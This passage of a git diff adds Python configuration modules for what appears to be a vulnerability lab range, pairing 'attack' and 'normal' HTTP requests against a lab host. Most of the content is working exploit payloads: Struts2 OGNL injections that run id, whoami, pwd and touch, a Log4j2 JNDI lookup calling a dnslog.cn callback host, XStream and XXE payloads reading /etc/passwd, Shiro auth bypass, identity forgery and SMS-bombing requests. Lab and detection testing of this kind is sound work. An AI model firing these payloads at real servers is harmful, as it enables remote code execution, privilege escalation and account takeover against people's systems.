'fastjson1.2.80-process.dnslog.cn"}', + 'name': 'fastjson-1.2.80反序列漏洞', + 'type': 'attack'}, + 'fastjson1_2_80_normal': {'method': 'POST', + 'url': 'http://{}:9976/fastjson1.2.80-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"name":"123","email":"123@123","age":"123"}', + 'name': 'fastjson-1.2.80反序列漏洞', + 'type': 'normal'}, + 'fastjson1_2_83_normal': {'method': 'POST', + 'url': 'http://{}:9975/fastjson1.2.83-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"name":"123","email":"123@123","age":"123"}', + 'name': 'fastjson-1.2.83-反序列漏洞', + 'type': 'normal'}} diff --git a/python_scripts/poc/integration.py b/python_scripts/poc/integration.py new file mode 100644 index 0000000..550ae17 --- /dev/null +++ b/python_scripts/poc/integration.py @@ -0,0 +1,45 @@ +# Auto-generated from index/vul.py split by module. +import os + +host = os.environ.get('HOST', '192.168.0.9') + +requests_config = {'xxe_wxpay_attack': {'method': 'POST', + 'url': 'http://{}:9974/wxpay-xxe'.format(host), + 'data': ']>&xxe;', + 'headers': {'Content-Type': 'application/json'}, + 'name': '微信支付XXE漏洞', + 'type': 'attack'}, + 'xstream_CVE-2019-10173': {'method': 'POST', + 'url': 'http://{}:9973/CVE-2019-10173'.format(host), + 'data': 'java.lang.Comparablecp/etc/passwd/tmpstart', + 'headers': {'Content-Type': 'application/json'}, + 'name': 'xstream 反序列化漏洞(CVE-2019-10173)', + 'type': 'attack'}, + 'jackson-databind_CVE-2019-12384': {'method': 'GET', + 'url': 'http://{}:9972/CVE-2019-12384'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'jackson-databind 反序列化漏洞(CVE-2019-12384)', + 'type': 'attack'}, + 'jackson-databind_CVE-2019-12384_normal': {'method': 'GET', + 'url': 'http://{}:9972/playground'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'jackson-databind 靶场首页(CVE-2019-12384)', + 'type': 'normal'}, + 'cas_xxe_normal': {'method': 'POST', + 'url': 'http://{}:9971/xxe_cas'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'cas xxe', + 'data': ' ' + 'John&ent;', + 'type': 'normal'}, + 'cas_xxe_attack': {'method': 'POST', + 'url': 'http://{}:9971/xxe_cas'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'cas xxe', + 'data': ' ' + ']> John&ent;', + 'type': 'attack'}} diff --git a/python_scripts/poc/log4j.py b/python_scripts/poc/log4j.py new file mode 100644 index 0000000..26595e6 --- /dev/null +++ b/python_scripts/poc/log4j.py @@ -0,0 +1,17 @@ +# Auto-generated from index/vul.py split by module. +import os + +host = os.environ.get('HOST', '192.168.0.9') + +requests_config = {'log4j2_attack': {'name': 'Log4j2 远程代码执行漏洞(CVE-2021-44228)', + 'method': 'POST', + 'url': 'http://{}:9998/log4j2'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'data': 'name=${jndi:ldap://sectest-log4j2.dnslog.cn/a}', + 'type': 'attack'}, + 'log4j2_normal': {'method': 'POST', + 'url': 'http://{}:9998/log4j2'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'data': 'name=1', + 'name': 'Log4j2 远程代码执行漏洞(CVE-2021-44228)', + 'type': 'normal'}} diff --git a/python_scripts/poc/logic_vul.py b/python_scripts/poc/logic_vul.py new file mode 100644 index 0000000..8b8c4b7 --- /dev/null +++ b/python_scripts/poc/logic_vul.py @@ -0,0 +1,94 @@ +import os + +host = os.environ.get('HOST', '192.168.0.9') + +requests_config = { + 'logic_vul_identity_attack': { + 'method': 'POST', + 'url': 'http://{}:9967/auth/login-vul'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"username":"frances.goldner","debugUserId":29}', + 'name': '业务逻辑漏洞-伪造身份', + 'type': 'attack', + }, + 'logic_vul_horizontal_attack': { + 'method': 'GET', + 'url': 'http://{}:9967/api/personal/2/vul?actingUserId=27'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '', + 'name': '业务逻辑漏洞-水平越权', + 'type': 'attack', + }, + 'logic_vul_vertical_attack': { + 'method': 'GET', + 'url': 'http://{}:9967/api/admin/report/vul?actingUserId=27'.format(host), + 'headers': {'Content-Type': 'application/json', 'X-Client-Role': 'ADMIN'}, + 'data': '', + 'name': '业务逻辑漏洞-垂直越权', + 'type': 'attack', + }, + 'logic_vul_workflow_attack': { + 'method': 'POST', + 'url': 'http://{}:9967/api/orders/5002/checkout/vul?actingUserId=27'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"clientTotal":0.01,"markAsPaid":true,"skipInventoryCheck":true}', + 'name': '业务逻辑漏洞-流程绕过', + 'type': 'attack', + }, + 'logic_vul_sms_send_attack': { + 'method': 'POST', + 'url': 'http://{}:9967/sms/send-vul'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"phoneNumber":"15134299958"}', + 'name': '业务逻辑漏洞-短信验证码回显与重放', + 'type': 'attack', + }, + 'logic_vul_sms_verify_attack': { + 'method': 'POST', + 'url': 'http://{}:9967/sms/verify-vul'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"phoneNumber":"15933988032","smsCode":"123456"}', + 'name': '业务逻辑漏洞-短信验证码未绑定手机号', + 'type': 'attack', + }, + 'logic_vul_sms_bomb_attack': { + 'method': 'POST', + 'url': 'http://{}:9967/sms/bomb-vul?phoneNumber=15134299958&batch=5'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '', + 'name': '业务逻辑漏洞-短信轰炸缺少频率限制', + 'type': 'attack', + }, + 'logic_vul_safe_login_normal': { + 'method': 'POST', + 'url': 'http://{}:9967/auth/login-safe'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"username":"frances.goldner","password":"3jwl2i3t6"}', + 'name': '业务逻辑漏洞-正常登录', + 'type': 'normal', + }, + 'logic_vul_info_normal': { + 'method': 'GET', + 'url': 'http://{}:9967/logic-vul/info'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '', + 'name': '业务逻辑漏洞-靶场信息', + 'type': 'normal', + }, + 'logic_vul_sms_safe_normal': { + 'method': 'POST', + 'url': 'http://{}:9967/sms/send-safe'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"phoneNumber":"15134299958"}', + 'name': '业务逻辑漏洞-短信验证码安全发送', + 'type': 'normal', + }, + 'logic_vul_sms_bomb_safe_normal': { + 'method': 'POST', + 'url': 'http://{}:9967/sms/bomb-safe?phoneNumber=15134299958&batch=5'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '', + 'name': '业务逻辑漏洞-短信发送频控对照', + 'type': 'normal', + }, +} diff --git a/python_scripts/poc/shiro.py b/python_scripts/poc/shiro.py new file mode 100644 index 0000000..0a482fc --- /dev/null +++ b/python_scripts/poc/shiro.py @@ -0,0 +1,74 @@ +# Shiro-related PoC definitions for the index panel. +import os + +host = os.environ.get('HOST', '192.168.0.9') + +requests_config = { + 'shiro_1_2_4_attack': { + 'method': 'GET', + 'url': 'http://{}:9970/rememberme/check'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '', + 'name': 'Apache Shiro 1.2.4 RememberMe 弱 Key 检测(CVE-2016-4437)', + 'type': 'attack', + }, + 'shiro_1_2_4_normal': { + 'method': 'POST', + 'url': 'http://{}:9970/login'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'data': 'username=admin&password=admin123&rememberMe=true', + 'name': 'Apache Shiro 1.2.4 RememberMe 登录验证', + 'type': 'normal', + }, + 'shiro_1_25_1_42_attack': { + 'method': 'GET', + 'url': 'http://{}:9969/home.jsp'.format(host), + 'headers': { + 'Content-Type': 'application/json', + 'Cookie': 'rememberMe=QUFB' + }, + 'data': '', + 'name': 'Apache Shiro Padding Oracle 差异请求(CVE-2019-12422)', + 'type': 'attack', + }, + 'shiro_1_25_1_42_normal': { + 'method': 'POST', + 'url': 'http://{}:9969/login.jsp'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'data': 'username=root&password=secret&rememberMe=true', + 'name': 'Apache Shiro 1.4.1 samples/web 风格登录验证', + 'type': 'normal', + }, + 'shiro_1_8_0_attack': { + 'method': 'GET', + 'url': 'http://{}:9968/rememberme/check'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '', + 'name': 'Apache Shiro 1.8.0 弱 Key 检测', + 'type': 'attack', + }, + 'shiro_1_8_0_normal': { + 'method': 'POST', + 'url': 'http://{}:9968/login'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'data': 'username=admin&password=admin123&rememberMe=true', + 'name': 'Apache Shiro 1.8.0 RememberMe 登录验证', + 'type': 'normal', + }, + 'shiro_cve_2020_17523_attack': { + 'method': 'GET', + 'url': 'http://{}:9966/admin/%20'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '', + 'name': 'Apache Shiro 认证绕过(CVE-2020-17523)', + 'type': 'attack', + }, + 'shiro_cve_2020_17523_normal': { + 'method': 'GET', + 'url': 'http://{}:9966/admin/dashboard'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '', + 'name': 'Apache Shiro 认证对照访问', + 'type': 'normal', + }, +} diff --git a/python_scripts/poc/struts.py b/python_scripts/poc/struts.py new file mode 100644 index 0000000..e8be22f --- /dev/null +++ b/python_scripts/poc/struts.py @@ -0,0 +1,353 @@ +# Struts2-related PoC definitions. +import os + +host = os.environ.get('HOST', '192.168.0.9') + + +def build_multipart_form(boundary, fields): + parts = [] + for name, value in fields: + parts.append( + '--{}\r\nContent-Disposition: form-data; name="{}"\r\n\r\n{}\r\n'.format( + boundary, name, value + ) + ) + parts.append('--{}--\r\n'.format(boundary)) + return ''.join(parts) + + +S2_045_CONTENT_TYPE = "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data" +S2_046_BOUNDARY = '----WebKitFormBoundaryXd004BVJN9pBYBL2' +S2_046_FILENAME_PAYLOAD = "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b" +S2_046_ATTACK_BODY = ( + '--' + S2_046_BOUNDARY + '\r\n' + + 'Content-Disposition: form-data; name="upload"; filename="' + S2_046_FILENAME_PAYLOAD + '"\r\n' + + 'Content-Type: text/plain\r\n\r\n' + + 'foo\r\n' + + '--' + S2_046_BOUNDARY + '--\r\n' +) +S2_061_BOUNDARY = '----CodexBoundaryS2061' +S2_061_PAYLOAD = """%{(#instancemanager=#application['org.apache.tomcat.InstanceManager']).(#stack=#attr['com.opensymphony.xwork2.util.ValueStack.ValueStack']).(#bean=#instancemanager.newInstance('org.apache.commons.collections.BeanMap')).(#bean.setBean(#stack)).(#context=#bean.get('context')).(#bean.setBean(#context)).(#macc=#bean.get('memberAccess')).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance('java.util.HashSet')).(#bean.put('excludedClasses',#emptyset)).(#bean.put('excludedPackageNames',#emptyset)).(#arglist=#instancemanager.newInstance('java.util.ArrayList')).(#arglist.add('id')).(#execute=#instancemanager.newInstance('freemarker.template.utility.Execute')).(#execute.exec(#arglist))}""" +S2_061_ATTACK_BODY = build_multipart_form(S2_061_BOUNDARY, [('id', S2_061_PAYLOAD)]) +S2_062_BOUNDARY = '----CodexBoundaryS2062' +S2_062_PAYLOAD = """%{(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0)+(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0)+(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0)+(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0)+(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0)+(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0)+(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0)+(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0)+(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))}""" +S2_062_ATTACK_BODY = build_multipart_form(S2_062_BOUNDARY, [('id', S2_062_PAYLOAD)]) + +requests_config = { + 'struts2_s2_015_attack_wildcard': { + 'method': 'GET', + 'url': 'http://{}:9958/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%2C%23b%3Dnew+java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew+java.io.BufferedReader%28%23b%29%2C%23d%3Dnew+char%5B256%5D%2C%23c.read%28%23d%29%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2C%23out.println%28new+java.lang.String%28%23d%29%29%2C%23out.close%28%29%7D.action'.format(host), + 'name': 'Struts2 S2-015 通配符结果 OGNL 执行', + 'type': 'attack', + }, + 'struts2_s2_015_attack_header': { + 'method': 'GET', + 'url': 'http://{}:9958/param.action?message=%25%7B7%2A7%7D'.format(host), + 'name': 'Struts2 S2-015 二次引用 Header 执行', + 'type': 'attack', + }, + 'struts2_s2_015_normal': { + 'method': 'GET', + 'url': 'http://{}:9958/index.action'.format(host), + 'name': 'Struts2 S2-015 页面基线访问', + 'type': 'normal', + }, + 'struts2_s2_013_attack_id': { + 'method': 'GET', + 'url': 'http://{}:9959/link.action?a=%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%2C%23b%3Dnew+java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew+java.io.BufferedReader%28%23b%29%2C%23d%3Dnew+char%5B256%5D%2C%23c.read%28%23d%29%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2C%23out.println%28new+java.lang.String%28%23d%29%29%2C%23out.close%28%29%29%7D'.format(host), + 'name': 'Struts2 S2-013 includeParams OGNL 执行', + 'type': 'attack', + }, + 'struts2_s2_013_normal': { + 'method': 'GET', + 'url': 'http://{}:9959/link.action'.format(host), + 'name': 'Struts2 S2-013 页面基线访问', + 'type': 'normal', + }, + 'struts2_s2_012_attack_whoami': { + 'method': 'POST', + 'url': 'http://{}:9960/user.action'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'data': 'flow=redirect&name=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22whoami%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B512%5D%2C%23n%3D%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%2C0%2C%23n%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D', + 'name': 'Struts2 S2-012 redirect 变量 OGNL 执行', + 'type': 'attack', + }, + 'struts2_s2_012_normal': { + 'method': 'GET', + 'url': 'http://{}:9960/index.action'.format(host), + 'name': 'Struts2 S2-012 页面基线访问', + 'type': 'normal', + }, + 'struts2_s2_009_attack_touch': { + 'method': 'GET', + 'url': 'http://{}:9961/example5.action?age=12313&name=%28%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dnew+java.lang.Boolean%28false%29%2C+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dnew+java.lang.Boolean%28true%29%2C+%40java.lang.Runtime%40getRuntime%28%29.exec%28%27touch+%2Ftmp%2Fstruts2-s2-009-success%27%29%29%28meh%29&z%5B%28name%29%28%27meh%27%29%5D=true'.format(host), + 'name': 'Struts2 S2-009 参数二次求值 touch', + 'type': 'attack', + }, + 'struts2_s2_009_normal': { + 'method': 'GET', + 'url': 'http://{}:9961/example5.action?age=18&name=demo'.format(host), + 'name': 'Struts2 S2-009 页面基线访问', + 'type': 'normal', + }, + 'struts2_s2_007_attack_whoami': { + 'method': 'POST', + 'url': 'http://{}:9962/user.action'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'data': 'name=demo&email=demo%40example.com&age=%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%23cmd%3D%27whoami%27%2C%23p%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%23cmd%29%2C%23in%3Dnew+java.io.BufferedReader%28new+java.io.InputStreamReader%28%23p.getInputStream%28%29%29%29%2C%23buf%3Dnew+char%5B256%5D%2C%23len%3D%23in.read%28%23buf%29%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2C%23out.println%28new+java.lang.String%28%23buf%2C0%2C%23len%29%29%2C%23out.close%28%29%29+%2B+%27', + 'name': 'Struts2 S2-007 类型转换错误 OGNL 执行', + 'type': 'attack', + }, + 'struts2_s2_007_normal': { + 'method': 'POST', + 'url': 'http://{}:9962/user.action'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'data': 'name=demo&email=demo%40example.com&age=18', + 'name': 'Struts2 S2-007 正常资料提交', + 'type': 'normal', + }, + 'struts2_s2_005_attack_touch': { + 'method': 'GET', + 'url': 'http://{}:9963/index.action?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d%40java.util.Collections%40EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27touch%20%2Ftmp%2Fstruts2-s2-005-success%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B2048%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023len%5Cu003d%5Cu0023mydat.read%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%2C0%2C%5Cu0023len%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d%40org.apache.struts2.ServletActionContext%40getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.setCharacterEncoding%28%5C%27UTF-8%5C%27%29%27%29%28bla%29%29&%28F%29%28%28%27%5Cu0023myout.setContentType%28%5C%27text%2Fplain%3Bcharset%3DUTF-8%5C%27%29%27%29%28bla%29%29&%28G%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29'.format(host), + 'name': 'Struts2 S2-005 命令执行 touch', + 'type': 'attack', + }, + 'struts2_s2_005_attack_whoami': { + 'method': 'GET', + 'url': 'http://{}:9963/index.action?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d%40java.util.Collections%40EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27whoami%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B2048%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023len%5Cu003d%5Cu0023mydat.read%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%2C0%2C%5Cu0023len%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d%40org.apache.struts2.ServletActionContext%40getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.setCharacterEncoding%28%5C%27UTF-8%5C%27%29%27%29%28bla%29%29&%28F%29%28%28%27%5Cu0023myout.setContentType%28%5C%27text%2Fplain%3Bcharset%3DUTF-8%5C%27%29%27%29%28bla%29%29&%28G%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29'.format(host), + 'name': 'Struts2 S2-005 命令执行 whoami', + 'type': 'attack', + }, + 'struts2_s2_005_normal': { + 'method': 'GET', + 'url': 'http://{}:9963/index.action'.format(host), + 'name': 'Struts2 S2-005 页面基线访问', + 'type': 'normal', + }, + 'struts2_s2_003_attack_user': { + 'method': 'GET', + 'url': 'http://{}:9964/index.action?%28%27%5Cu0023%27%20%2B%20%27session%5C%27user%5C%27%27%29%28unused%29=0wn3d'.format(host), + 'name': 'Struts2 S2-003 污染 session.user', + 'type': 'attack', + }, + 'struts2_s2_003_attack_admin': { + 'method': 'GET', + 'url': 'http://{}:9964/index.action?%28%27%5Cu0023%27%20%2B%20%27session%5B%5C%27isAdmin%5C%27%5D%27%29%28unused%29=true'.format(host), + 'name': 'Struts2 S2-003 污染 session.isAdmin', + 'type': 'attack', + }, + 'struts2_s2_003_normal': { + 'method': 'GET', + 'url': 'http://{}:9964/index.action'.format(host), + 'name': 'Struts2 S2-003 页面基线访问', + 'type': 'normal', + }, + 'struts2_s2_001_attack': { + 'method': 'POST', + 'url': 'http://{}:9965/login.action'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'data': 'username=%25%7B7*7%7D&password=', + 'name': 'Struts2 S2-001 OGNL 回填解析演示', + 'type': 'attack', + }, + 'struts2_s2_001_attack_tomcat_dir': { + 'method': 'POST', + 'url': 'http://{}:9965/login.action'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'data': 'username=%25%7B%22tomcatBinDir%7B%22%2B%40java.lang.System%40getProperty%28%22user.dir%22%29%2B%22%7D%22%7D&password=', + 'name': 'Struts2 S2-001 获取 Tomcat 执行路径', + 'type': 'attack', + }, + 'struts2_s2_001_attack_web_path': { + 'method': 'POST', + 'url': 'http://{}:9965/login.action'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'data': 'username=%25%7B%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest%28%29%2C%23response%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2C%23response.println%28%23req.getRealPath%28%27%2F%27%29%29%2C%23response.flush%28%29%2C%23response.close%28%29%7D&password=', + 'name': 'Struts2 S2-001 获取 Web 路径', + 'type': 'attack', + }, + 'struts2_s2_001_attack_exec_pwd': { + 'method': 'POST', + 'url': 'http://{}:9965/login.action'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'data': 'username=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22pwd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D&password=', + 'name': 'Struts2 S2-001 命令执行 pwd', + 'type': 'attack', + }, + 'struts2_s2_001_normal': { + 'method': 'POST', + 'url': 'http://{}:9965/login.action'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'data': 'username=admin&password=admin123', + 'name': 'Struts2 S2-001 正常登录', + 'type': 'normal', + }, + 'struts2_s2_016_attack_redirect': { + 'method': 'GET', + 'url': 'http://{}:9957/index.action?redirect%3A%24%7B233%2A233%7D'.format(host), + 'name': 'Struts2 S2-016 redirect 前缀 OGNL 执行', + 'type': 'attack', + }, + 'struts2_s2_016_normal': { + 'method': 'GET', + 'url': 'http://{}:9957/index.action'.format(host), + 'name': 'Struts2 S2-016 页面基线访问', + 'type': 'normal', + }, + 'struts2_s2_019_attack_debug': { + 'method': 'GET', + 'url': 'http://{}:9956/example/HelloWorld.action?debug=command&expression=%23a%3D%28new%20java.lang.ProcessBuilder%28%27id%27%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23out%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23out.getWriter%28%29.println%28%27dbapp%3A%27%2Bnew%20java.lang.String%28%23e%29%29%2C%23out.getWriter%28%29.flush%28%29%2C%23out.getWriter%28%29.close%28%29'.format(host), + 'name': 'Struts2 S2-019 debug 参数 OGNL 执行', + 'type': 'attack', + }, + 'struts2_s2_019_normal': { + 'method': 'GET', + 'url': 'http://{}:9956/example/HelloWorld.action'.format(host), + 'name': 'Struts2 S2-019 页面基线访问', + 'type': 'normal', + }, + 'struts2_s2_032_attack_method': { + 'method': 'GET', + 'url': 'http://{}:9955/index.action?method%3A%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse%28%29%2C%23res.setCharacterEncoding%28%23parameters.encoding%5B0%5D%29%2C%23w%3D%23res.getWriter%28%29%2C%23s%3Dnew%20java.util.Scanner%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%23parameters.cmd%5B0%5D%29.getInputStream%28%29%29.useDelimiter%28%23parameters.pp%5B0%5D%29%2C%23str%3D%23s.hasNext%28%29%3F%23s.next%28%29%3A%23parameters.ppp%5B0%5D%2C%23w.print%28%23str%29%2C%23w.close%28%29%2C1%3F%23xx%3A%23request.toString=1&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id'.format(host), + 'name': 'Struts2 S2-032 Dynamic Method Invocation 执行', + 'type': 'attack', + }, + 'struts2_s2_032_normal': { + 'method': 'GET', + 'url': 'http://{}:9955/index.action'.format(host), + 'name': 'Struts2 S2-032 页面基线访问', + 'type': 'normal', + }, + 'struts2_s2_045_attack_content_type': { + 'method': 'POST', + 'url': 'http://{}:9954/upload.action'.format(host), + 'headers': {'Content-Type': S2_045_CONTENT_TYPE}, + 'data': '', + 'name': 'Struts2 S2-045 恶意 Content-Type 头', + 'type': 'attack', + }, + 'struts2_s2_045_normal': { + 'method': 'POST', + 'url': 'http://{}:9954/upload.action'.format(host), + 'headers': {}, + 'parm': 'upload', + 'file': 'index/test.txt', + 'name': 'Struts2 S2-045 正常上传', + 'type': 'normal', + }, + 'struts2_s2_046_attack_filename': { + 'method': 'POST', + 'url': 'http://{}:9953/upload.action'.format(host), + 'headers': {'Content-Type': 'multipart/form-data; boundary=' + S2_046_BOUNDARY}, + 'data': S2_046_ATTACK_BODY, + 'name': 'Struts2 S2-046 畸形 multipart filename', + 'type': 'attack', + }, + 'struts2_s2_046_normal': { + 'method': 'POST', + 'url': 'http://{}:9953/upload.action'.format(host), + 'headers': {}, + 'parm': 'upload', + 'file': 'index/test.txt', + 'name': 'Struts2 S2-046 正常上传', + 'type': 'normal', + }, + 'struts2_s2_048_attack_gangster': { + 'method': 'POST', + 'url': 'http://{}:9952/gangster.action'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'data': 